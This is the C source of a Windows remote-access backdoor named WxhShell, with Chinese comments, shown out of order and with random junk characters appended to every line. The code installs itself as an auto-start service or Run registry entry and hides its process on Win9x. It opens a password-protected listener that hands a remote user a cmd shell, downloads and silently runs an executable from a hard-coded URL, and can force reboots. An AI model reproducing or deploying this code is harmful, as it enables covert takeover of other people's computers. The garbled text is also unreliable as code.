    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); u z7|!G!43  
    if(Boot(SHUTDOWN)) 4sntSlz)~k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2$kB^g!:o  
    else { bhGRD{=  
    closesocket(wsh); _/z_ X  
    ExitThread(0); :IBP "  
    } \O4s0*gw  
    break; ]hS<"=oj  
    } >zDQt7+g;  
  // 获取shell CuH4~6  
  case 's': { < K!r\^  
    CmdShell(wsh); 1/m$#sz  
    closesocket(wsh); )DhE~  
    ExitThread(0); ;"u,G!  
    break; W^h,O+vk  
  } fv#ov+B  
  // 退出 " acI:cl?,  
  case 'x': { 8b.k*,r>  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); P8}IDQ9  
    CloseIt(wsh); BO4;S/ O  
    break; `,xO~_ e>  
    } 'G~i;o  2  
  // 离开 -3mIdZ  
  case 'q': { v@OELJX  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); (*P`  
    closesocket(wsh); ;akW i]  
    WSACleanup(); 3vcyes-U  
    exit(1); Pg8boN]}  
    break; km C0.\  
        } g%"SAeG<K  
  } l[IL~  
  } ?g{[U0)  
T)sIV5bk  
  // 提示信息 yNXYS  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O5vfcX4>  
} bR) P-9rs  
  } u&1M(~Ub=  
i8k} B o  
  return; fMFkA(Of^  
} &"JC8  
^7/v[J<<  
// shell模块句柄 S+~;PmN9qL  
int CmdShell(SOCKET sock) x%r$/=  
{ (kB  
STARTUPINFO si; ;$6L_C4B  
ZeroMemory(&si,sizeof(si)); .pWRV<25  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5I2 h(Td  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; '%t$m f!nV  
PROCESS_INFORMATION ProcessInfo; %;ED} X  
char cmdline[]="cmd"; hBX.GFnw  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Z2m^yRQ(  
  return 0; U5N|2  
} :AFW=e@<  
k^8;3#xG  
// 自身启动模式 C_/eNu\I  
int StartFromService(void) r<1W.xd":  
{ #*.4Jv<R  
typedef struct +58^{_k+%  
{ .<>t2,Af  
  DWORD ExitStatus; #*qV kPX  
  DWORD PebBaseAddress; 6Aqv*<1=62  
  DWORD AffinityMask; -XL? n/M  
  DWORD BasePriority; =23B9WT   
  ULONG UniqueProcessId; &odQ&%X  
  ULONG InheritedFromUniqueProcessId; Zf}2c8Vc4  
}   PROCESS_BASIC_INFORMATION; W|@SXO)DY  
72xf| s=  
PROCNTQSIP NtQueryInformationProcess; g]HWaFjc5  
T88$sD.2 '  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4 qsct@K,  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; r9u'+$vmF  
5JVBDA^#om  
  HANDLE             hProcess; guYP|  
  PROCESS_BASIC_INFORMATION pbi; -M6vg4gf  
EiC["M'}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); g]HxPq+O  
  if(NULL == hInst ) return 0; ]kmAN65c  
/<LjD  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); p gLhxc:  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); m`fdf>gWp  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); G@D;_$a  
eWm'eO  
  if (!NtQueryInformationProcess) return 0; <:/aiX8  
v"(6rZsa  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #S/~1{   
  if(!hProcess) return 0; hlV(jz  
p+b9D  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; SGZYDxFC@  
 EJC}"%h  
  CloseHandle(hProcess); um]*nXIr  
1_LKqBgo  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);  lY`WEu  
if(hProcess==NULL) return 0; "~=}&  
T<7}IH$6xE  
HMODULE hMod; E#m^.B-}  
char procName[255]; YK8l#8K  
unsigned long cbNeeded; gM1:*YK  
~oSA&v4V  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); e[T3,2C  
teDRX13=;  
  CloseHandle(hProcess); b}7g>  
~P,Z@|c4  
if(strstr(procName,"services")) return 1; // 以服务启动 n~`jUML2d  
oSMIWwg7G  
  return 0; // 注册表启动 F'{T[MA  
} #oEtLb@O  
b4$.uLY  
// 主模块 !?i9fYu  
int StartWxhshell(LPSTR lpCmdLine) 2xuU[  
{ Y(rQ032s  
  SOCKET wsl; (0 t{  
BOOL val=TRUE; Dy. |bUB!f  
  int port=0; E"BW-<_!  
  struct sockaddr_in door; S?v;+3TG  
\J(~ Nv5!  
  if(wscfg.ws_autoins) Install();  nSo.,72  
`ZC -lAY  
port=atoi(lpCmdLine); {yf, :5  
<]S M$) =D  
if(port<=0) port=wscfg.ws_port; nrpbQ(zI*  
T[},6I|!  
  WSADATA data; r H9}VA:h  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _pS)bx w  
gEVoY,}/-U  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   k~<ORnda  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); L-|7 &  
  door.sin_family = AF_INET; <Vyl*a{%  
  door.sin_addr.s_addr = inet_addr("127.0.0.1");  /*S6/#  
  door.sin_port = htons(port); }FV_jJ  
P1TTaYu  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 'zt}\ Dt  
closesocket(wsl); ,0Udz0  
return 1; REJBm  
} }darXtZKkK  
9ys[xOh WM  
  if(listen(wsl,2) == INVALID_SOCKET) { Pa\yp?({q  
closesocket(wsl); G7-.d/8|^  
return 1; W}(xE?9&  
} xWQQX  
  Wxhshell(wsl); M _Lj5`  
  WSACleanup(); W7V#G(cpU  
sDHFZ:W  
return 0; =%FhY^-  
_3KfY  
} IU}g[O Cu  
`$;%%/tx  
// 以NT服务方式启动 MGKSaP;x  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) g( eA?  
{ S^e e<%-  
DWORD   status = 0; #{bT=:3a  
  DWORD   specificError = 0xfffffff; +>mU4Fwp  
Z79Y$d>G<E  
  serviceStatus.dwServiceType     = SERVICE_WIN32; H0lAu]~R_W  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 7&|&y SCu  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; d5LL( "  
  serviceStatus.dwWin32ExitCode     = 0; [DSzhi]  
  serviceStatus.dwServiceSpecificExitCode = 0; &eg@Z nPn  
  serviceStatus.dwCheckPoint       = 0; ]CnT4[f!  
  serviceStatus.dwWaitHint       = 0; _B==S4^/yU  
[QT H~  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); UUgc>   
  if (hServiceStatusHandle==0) return; ;2eZa|M*q  
PTA_erU  
status = GetLastError(); vN)l3  
  if (status!=NO_ERROR) Kzfy0LWM  
{  #|l#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; -S $Y0FDV  
    serviceStatus.dwCheckPoint       = 0; )Oj%3  
    serviceStatus.dwWaitHint       = 0; pEGHW;  
    serviceStatus.dwWin32ExitCode     = status; ^zS|O]Tx  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~ln96*)M;  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); lS`VJA6l.  
    return; x5W@zqj  
  } RjR  
r<kqs,-~  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 9;pD0h|  
  serviceStatus.dwCheckPoint       = 0; \%;5$ovV  
  serviceStatus.dwWaitHint       = 0; _vE[TFy  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~{yQsEU  
} "g;}B"rG  
K&vqk/JW1  
// 处理NT服务事件,比如:启动、停止 V@ph.)z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) =G/`r!r*0I  
{ \]t }N  
switch(fdwControl) f'M7x6W  
{ QW@`4W0F  
case SERVICE_CONTROL_STOP: G?yG|5.pU  
  serviceStatus.dwWin32ExitCode = 0; 1FEY&rpR  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; s\1c.  
  serviceStatus.dwCheckPoint   = 0; ->YF</I  
  serviceStatus.dwWaitHint     = 0; a: OuDjFp  
  { h IUO=f  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [E%Ov0OC  
  } K06&.>v_  
  return; Q|HOy8O}Z  
case SERVICE_CONTROL_PAUSE: &f>1/"lnd\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _/[(&}M  
  break; uQg&A`4  
case SERVICE_CONTROL_CONTINUE: cLnvb!g'#  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; h)C `w'L  
  break; ZNbb8v  
case SERVICE_CONTROL_INTERROGATE: 4^BHJOvs  
  break; NA8$G|.?  
}; wn{DY v7B  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'St\$X  
} {BJn9B  
J{5&L &4  
// 标准应用程序主函数 GCA?sFwo>  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |/35c0IM  
{ y 4jelg  
'd 6z^Z6  
// 获取操作系统版本 PP)-g0^@  
OsIsNt=GetOsVer(); 5PCKBevV  
GetModuleFileName(NULL,ExeFile,MAX_PATH); +q3E>K9a  
Wd_KZ}lX  
  // 从命令行安装 lAPvphO  
  if(strpbrk(lpCmdLine,"iI")) Install(); L9)nRV8  
sv?Lk4_  
  // 下载执行文件 js\|xfDxP  
if(wscfg.ws_downexe) { /F6=iHK(l  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) h/n&& J  
  WinExec(wscfg.ws_filenam,SW_HIDE); >) PcK  
} ;O7<lF\7o  
iPPW_Q9x  
if(!OsIsNt) { 2f$6}m'Ad  
// 如果时win9x,隐藏进程并且设置为注册表启动 RBzBR)@5   
HideProc(); H-.8{8  
StartWxhshell(lpCmdLine); 4#y  
} :vJ0Ypz-u  
else (>Tq  
  if(StartFromService()) <jvSV5%  
  // 以服务方式启动 P 6|\ ^  
  StartServiceCtrlDispatcher(DispatchTable); ENi@R\ p  
else &ahZ_9Q  
  // 普通方式启动 ${F] N }  
  StartWxhshell(lpCmdLine); ?5g0#wqI  
Jk!*j  
return 0; I=I'O?w  
} !* C9NX  
x7]Yn'^'  
&*#- %<=1  
! uyC$8V*l  
=========================================== AGxG*KuZ  
,s,VOyr @F  
,2YkQ/ >  
k/ 9S  
-q.tU*xf'  
)!&7XL[  
" .UuCTH;6`  
u/BCl!`  
#include <stdio.h> }vbs6u  
#include <string.h> hs"=>(P)  
#include <windows.h> o4"7i 9+g  
#include <winsock2.h> M1/Rba Q  
#include <winsvc.h> ZsPT!l,  
#include <urlmon.h> t:G67^<3  
C"P40VQoo  
#pragma comment (lib, "Ws2_32.lib") ,:QzF"MV  
#pragma comment (lib, "urlmon.lib") 'bXm,Ed  
>wpC45n)9N  
#define MAX_USER   100 // 最大客户端连接数 f|f9[h'  
#define BUF_SOCK   200 // sock buffer ,NQucp  
#define KEY_BUFF   255 // 输入 buffer D|}%(N@sl  
,5_Hen=PI  
#define REBOOT     0   // 重启 g= ql 3N  
#define SHUTDOWN   1   // 关机 ./009p  
02_%a1g  
#define DEF_PORT   5000 // 监听端口 #FBq8iJ  
U]Vu8$W  
#define REG_LEN     16   // 注册表键长度 [BpIzhy&}  
#define SVC_LEN     80   // NT服务名长度 :! h1S`wS  
yqm^4)Dp  
// 从dll定义API <I{)p;u1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); A@X&d y  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .*N,x0 B(  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~EVD NnHEr  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); a;Q.R  
j~eYq  
// wxhshell配置信息 6mnj!p]3  
struct WSCFG { xi.L?"^/!  
  int ws_port;         // 监听端口 y-TS?5Dr]  
  char ws_passstr[REG_LEN]; // 口令 R)3P"sGuN  
  int ws_autoins;       // 安装标记, 1=yes 0=no rVx%"_'*-  
  char ws_regname[REG_LEN]; // 注册表键名 Q}N.DM@d3  
  char ws_svcname[REG_LEN]; // 服务名 oc>ne]_'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 v^a. b  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 WvN!8*XFM  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,&;#$ b5  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ?]'Rz\70  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" $\|$ekil4  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 p1 9j  
&!uN N|W  
}; rTiW&#  
4|Dxyb>pS  
// default Wxhshell configuration Z)6gh{B08  
struct WSCFG wscfg={DEF_PORT, s!Xj'H7K  
    "xuhuanlingzhe", meHAa`  
    1, `[<j5(T  
    "Wxhshell", CF`tNA3fxm  
    "Wxhshell", ik@g;>pQD  
            "WxhShell Service", MVW2 %6  
    "Wrsky Windows CmdShell Service", 7T]}<aK<c[  
    "Please Input Your Password: ", dsKEWZ =  
  1, 3McBTa!  
  "http://www.wrsky.com/wxhshell.exe", \>8"r,hG|  
  "Wxhshell.exe" +1Ha,O k  
    }; li4rK <O  
Vj7(6'Hg  
// 消息定义模块 f-N:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2t3'"8xJ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; em  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &wbe^Wp  
char *msg_ws_ext="\n\rExit."; 7-"ml\z  
char *msg_ws_end="\n\rQuit."; \$o!M1j  
char *msg_ws_boot="\n\rReboot..."; uFM]4v3  
char *msg_ws_poff="\n\rShutdown..."; uUUj?%  
char *msg_ws_down="\n\rSave to "; T-)Ur/qp  
@;iW)a_M  
char *msg_ws_err="\n\rErr!"; 6% @@~"  
char *msg_ws_ok="\n\rOK!"; }+K SZ,  
N@$g"w  
char ExeFile[MAX_PATH];  o *2TH2  
int nUser = 0; sjpcz4|K  
HANDLE handles[MAX_USER]; bE-{ U/;  
int OsIsNt; `p@YV(  
~yH<,e  
SERVICE_STATUS       serviceStatus; *~F\k):>  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; tN&x6O+@  
3%?01$k  
// 函数声明 %(GWR@mfC  
int Install(void); ?\dY!  
int Uninstall(void); ?lJm}0>  
int DownloadFile(char *sURL, SOCKET wsh); KLW#+vZ  
int Boot(int flag); 7q>WO  
void HideProc(void); HhN;&67~Z  
int GetOsVer(void); .'md `@t  
int Wxhshell(SOCKET wsl); x:W nF62  
void TalkWithClient(void *cs); ozZW7dveU  
int CmdShell(SOCKET sock); $=7[.z&  
int StartFromService(void); / AFn8=9'^  
int StartWxhshell(LPSTR lpCmdLine); 58"Cn ||tF  
]de'v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); e"u=4nk  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); WQ/H8rOs  
{=W TAgP  
// 数据结构和表定义 C zKU;~D=B  
SERVICE_TABLE_ENTRY DispatchTable[] = 9NTBdo%u  
{ COe"te  
{wscfg.ws_svcname, NTServiceMain}, C%ibIcm y  
{NULL, NULL} zQJ9V\0  
}; fD3}s#M*G  
o}&TFhT  
// 自我安装 gTE/g'3  
int Install(void) kB-%T66\  
{ z;6 Tp  
  char svExeFile[MAX_PATH]; @^8tk3$ Y  
  HKEY key; bmT_tNz  
  strcpy(svExeFile,ExeFile); " (c#H  
hqW4.|&\c  
// 如果是win9x系统,修改注册表设为自启动  VP H  
if(!OsIsNt) { 8<UD#i@:C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l+BJh1^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); R}MdBE  
  RegCloseKey(key);  7e\g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z1t YD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Tbl~6P  
  RegCloseKey(key); aqq7u5O1r  
  return 0; w=.w*?>  
    } PtySPDClj  
  } t]|WRQvy8  
} |~b.rKQt[  
else { 1Wd?AyTY,  
USLG G}R  
// 如果是NT以上系统,安装为系统服务 6/`$Y!.ub  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); H79XP.TtE  
if (schSCManager!=0) >U\,(VB  
{ :_;9&[H9ha  
  SC_HANDLE schService = CreateService kwRXNE(k]_  
  ( iHoQNog-!  
  schSCManager, hsIC5@s3  
  wscfg.ws_svcname, X~ n=U4s}O  
  wscfg.ws_svcdisp, $]IX11.m  
  SERVICE_ALL_ACCESS, 5)fEs.r0U  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <[O8 {9j  
  SERVICE_AUTO_START, QXZjsa_|  
  SERVICE_ERROR_NORMAL, s`W\`w}  
  svExeFile, CL{R.OA  
  NULL, =h,6/cs  
  NULL, [03$*BCq3  
  NULL, ".jY3<bQg  
  NULL, h|h-<G?>  
  NULL [)V&$~xW  
  ); Vb>!;C  
  if (schService!=0) c,a+u  
  { 0j*-ZvE)30  
  CloseServiceHandle(schService); N*6Y5[g!\  
  CloseServiceHandle(schSCManager); bF:]MB^VK  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); (R)\  
  strcat(svExeFile,wscfg.ws_svcname); f`w$KVZ1!w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { / /63?s+  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); __HPwOCG7  
  RegCloseKey(key); e;KZTH;  
  return 0; Mf)0Y~_:R#  
    } F(*~[*Ff  
  } 9U1cH qV  
  CloseServiceHandle(schSCManager); |:_WdU"Q]  
} 16"eyt>  
} 'f0*~Wq|  
C2RR(n=N^  
return 1; \a]JH\T)Q  
} bl. y4  
eekp&H$'s  
// 自我卸载 ~e,k71  
int Uninstall(void) N yT|=`;  
{ RUHQ]@d#T  
  HKEY key; R*~<?}Rr  
b~?FV>gl  
if(!OsIsNt) { u/?s_OR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KLv`Xg\  
  RegDeleteValue(key,wscfg.ws_regname); _,V 9^  
  RegCloseKey(key); &9b sTm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k2Yh?OH  
  RegDeleteValue(key,wscfg.ws_regname); k$`~,LJp  
  RegCloseKey(key); '51DdT U  
  return 0; `Oz c L  
  } TCAtb('D  
} =Q985)Y&  
} U X)k;h  
else { %_xRS  
n(^{s5 Rr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :G$f)NMK  
if (schSCManager!=0) =!{7ZSu\  
{ FG.MV-G  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); jt|e?1:vF  
  if (schService!=0) $_s"16s  
  { ,-7w\%*  
  if(DeleteService(schService)!=0) { +Bk d  
  CloseServiceHandle(schService); C.I.f9s?R  
  CloseServiceHandle(schSCManager); JjarMJr| D  
  return 0; #$p&J1   
  } p9w<|ZQ]:  
  CloseServiceHandle(schService); llVm[7  
  } E!.>*`)?.  
  CloseServiceHandle(schSCManager); 3vx*gfr3  
} FoY_5/  
} {qO[93yg)/  
28 qTC?  
return 1; @, v'V!  
} (`+%K_  
R2k R   
// 从指定url下载文件 #({0HFSC:j  
int DownloadFile(char *sURL, SOCKET wsh) ZuIr=`"j  
{ 4B>N[#-0=  
  HRESULT hr; 8>" vAEf  
char seps[]= "/"; X`kTbIZ|  
char *token; 3|4jS"t{f  
char *file;  QDCu  
char myURL[MAX_PATH]; 0M^7#),  
char myFILE[MAX_PATH]; _[ml<HW]  
f0rM 4"1  
strcpy(myURL,sURL); ^_FB .y%  
  token=strtok(myURL,seps); {+~}iF<%  
  while(token!=NULL) ;Z]i$Vi_r  
  { TVVL1wZ  
    file=token; 9\9:)q  
  token=strtok(NULL,seps); w"Gci~]bXU  
  } tU2 8l.  
'TWZ@8h~  
GetCurrentDirectory(MAX_PATH,myFILE); xa+=9=<AQ  
strcat(myFILE, "\\"); R;+vE'&CO  
strcat(myFILE, file); ??& Q"6Oe  
  send(wsh,myFILE,strlen(myFILE),0); &2-dZK  
send(wsh,"...",3,0); &DoYz[q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); &NbhQY`k  
  if(hr==S_OK) E.V#Bk=  
return 0; 5yPw[ EY  
else \"!Fw)wj  
return 1; vmW > $P  
yVQ0;h  
} IC&>PwXb  
? <b>2j  
// 系统电源模块 l-` M 9#  
int Boot(int flag) 'Rbv3U  
{ +&?#Gdb  
  HANDLE hToken; ?.1yNO*s  
  TOKEN_PRIVILEGES tkp; sPMCN's  
wLn,x;;<  
  if(OsIsNt) { M*M,Z  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ykFm$ 0m+I  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ]PWK^-4P  
    tkp.PrivilegeCount = 1; '1'#,u!  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; K q;X(&Z  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); v@_}R_pX  
if(flag==REBOOT) { D@9adwQb  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )+;Xfftz  
  return 0; z ((Y\vP  
} ;S Re`  
else { (+SfDL$m  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :x"Q[079  
  return 0; #{-l(016y  
} * E$&  
  } 38<!Dt+S(,  
  else { xgsEJE  
if(flag==REBOOT) { X>}-UHKV+  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9FB k|g"U)  
  return 0; +OSF0#bj  
} # .1+-^TQk  
else { Zy !^HS$  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) (jj=CLe  
  return 0; sfb)iH|sW  
} u-v/`F2wN  
} L1P.@hJ  
n*twuB/P 1  
return 1; )1#J4  
} XMt)\r.  
5d ?\>dA  
// win9x进程隐藏模块 ?K5S{qG'O  
void HideProc(void) 44e:K5;]7  
{ sa8Q1i&%  
.%~m|t+Rt  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [PXv8K%]p  
  if ( hKernel != NULL ) D(bQFRBY6"  
  { B?bdHO:E~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); :SBB3G)|  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [wp(s2=  
    FreeLibrary(hKernel); mdzUL d5J  
  } W(~7e?fO  
C/34K(  
return; bU$4"_eA B  
} eK8y'VY  
"{TVd>9_  
// 获取操作系统版本 7T[Kjn^{Oj  
int GetOsVer(void) IR_&dWHyc  
{ cp| q  
  OSVERSIONINFO winfo; /6Bm <k%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); BqoGHg4iq  
  GetVersionEx(&winfo); PBkTI2 v  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) i n $~(+  
  return 1; b!lS=zIN  
  else "rHcsuSEw  
  return 0; 4i]h0_]  
} =Oyn<  
"pRi1Y5)l  
// 客户端句柄模块 !>E$2}Q|]  
int Wxhshell(SOCKET wsl) ,)u1r3@I^  
{ mz-sazgV  
  SOCKET wsh; _!qi`A  
  struct sockaddr_in client; :v$][jZ2  
  DWORD myID; $"e$#<g  
5t=7-  
  while(nUser<MAX_USER) msf%i!  
{ @$G{t^&os  
  int nSize=sizeof(client); Ms>CO7Nvy  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3UR'*5|'  
  if(wsh==INVALID_SOCKET) return 1; -] @cUx  
q8m[ S4Q]g  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]LbFh5;s  
if(handles[nUser]==0) JE~;gz]  
  closesocket(wsh); ~<.%sVwE  
else }0okyGg>q  
  nUser++; lf`" (:./  
  } obzdH:S  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); @ zs.M-F  
Iu V7~w  
  return 0; @~ 6,8nQ  
} /#Fz K  
K=K]R01/o  
// 关闭 socket (&o|}"kRq  
void CloseIt(SOCKET wsh) w ]%EJ|'  
{ [8 I*lsS  
closesocket(wsh); WALK@0E  
nUser--; '&LH9r  
ExitThread(0); >~}}*yp  
} u2o196,Ut  
SJ7-lben3  
// 客户端请求句柄 +,q#'wSQG  
void TalkWithClient(void *cs) RKb{QAK!v  
{ ->9waXRDz)  
R+&{lc  
  SOCKET wsh=(SOCKET)cs; NG+%H1!$_  
  char pwd[SVC_LEN]; } q?*13iy(  
  char cmd[KEY_BUFF]; };m.8(}$)  
char chr[1]; q9gk:Jt  
int i,j; #Fkn-/nL  
G=( ja?d  
  while (nUser < MAX_USER) { QHHj.ZY  
3UgPVCT  
if(wscfg.ws_passstr) { 1sNZl&  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]K-B#D{P  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tBjMm8lgb  
  //ZeroMemory(pwd,KEY_BUFF); Ewq7oq5:  
      i=0; w+][L||4c  
  while(i<SVC_LEN) { Q$^)z_jai  
-n"7G%$M  
  // 设置超时 w678  
  fd_set FdRead; 0Qr|!B:+9)  
  struct timeval TimeOut; Yc`PK =!l  
  FD_ZERO(&FdRead); $aC%&&+wG  
  FD_SET(wsh,&FdRead); {36QZV*P  
  TimeOut.tv_sec=8; BbG=vy8'l  
  TimeOut.tv_usec=0; O5v~wLx9e  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1$n!Lj=5  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); M2Zk1Z  
~P,@">}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n2N:rP  
  pwd=chr[0]; <Kk[^.7C;  
  if(chr[0]==0xd || chr[0]==0xa) { =`EVg>+^  
  pwd=0; &BOG&ot  
  break; } $oZZKS  
  } \R.Fmeko  
  i++; ,<O|#`?"@G  
    } k vF[d{l  
W@t{pXwLv  
  // 如果是非法用户,关闭 socket 0RF<:9@x2  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); fO{'$?K  
} s*tzU.E (  
OrRU$5Lo  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -Gj."ks  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $h|8z  
.2f0e[J  
while(1) {  q^Ui2  
*@E&O^%cO  
  ZeroMemory(cmd,KEY_BUFF); %df[8eX{  
>>.4@  
      // 自动支持客户端 telnet标准   k/m-jm_h  
  j=0; _zG[b/:p  
  while(j<KEY_BUFF) { {1}p+dEK  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); = KJ_LE~)  
  cmd[j]=chr[0]; |bX{MF  
  if(chr[0]==0xa || chr[0]==0xd) { F3=iyiz6  
  cmd[j]=0; ? oQ_qleuo  
  break; *?R<gWCF  
  } g E$@:j  
  j++; w=x [=O  
    } evE$$# 6R  
D.,~I^W  
  // 下载文件 Senb_?  
  if(strstr(cmd,"http://")) { +GlG.6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); l~#%j( Yo  
  if(DownloadFile(cmd,wsh)) '-[?iF@l  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); uuf+M-P  
  else _xdFQ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dk.VH!uVb  
  } ,K8(D<{  
  else { nA.~}  
%)}y[ (  
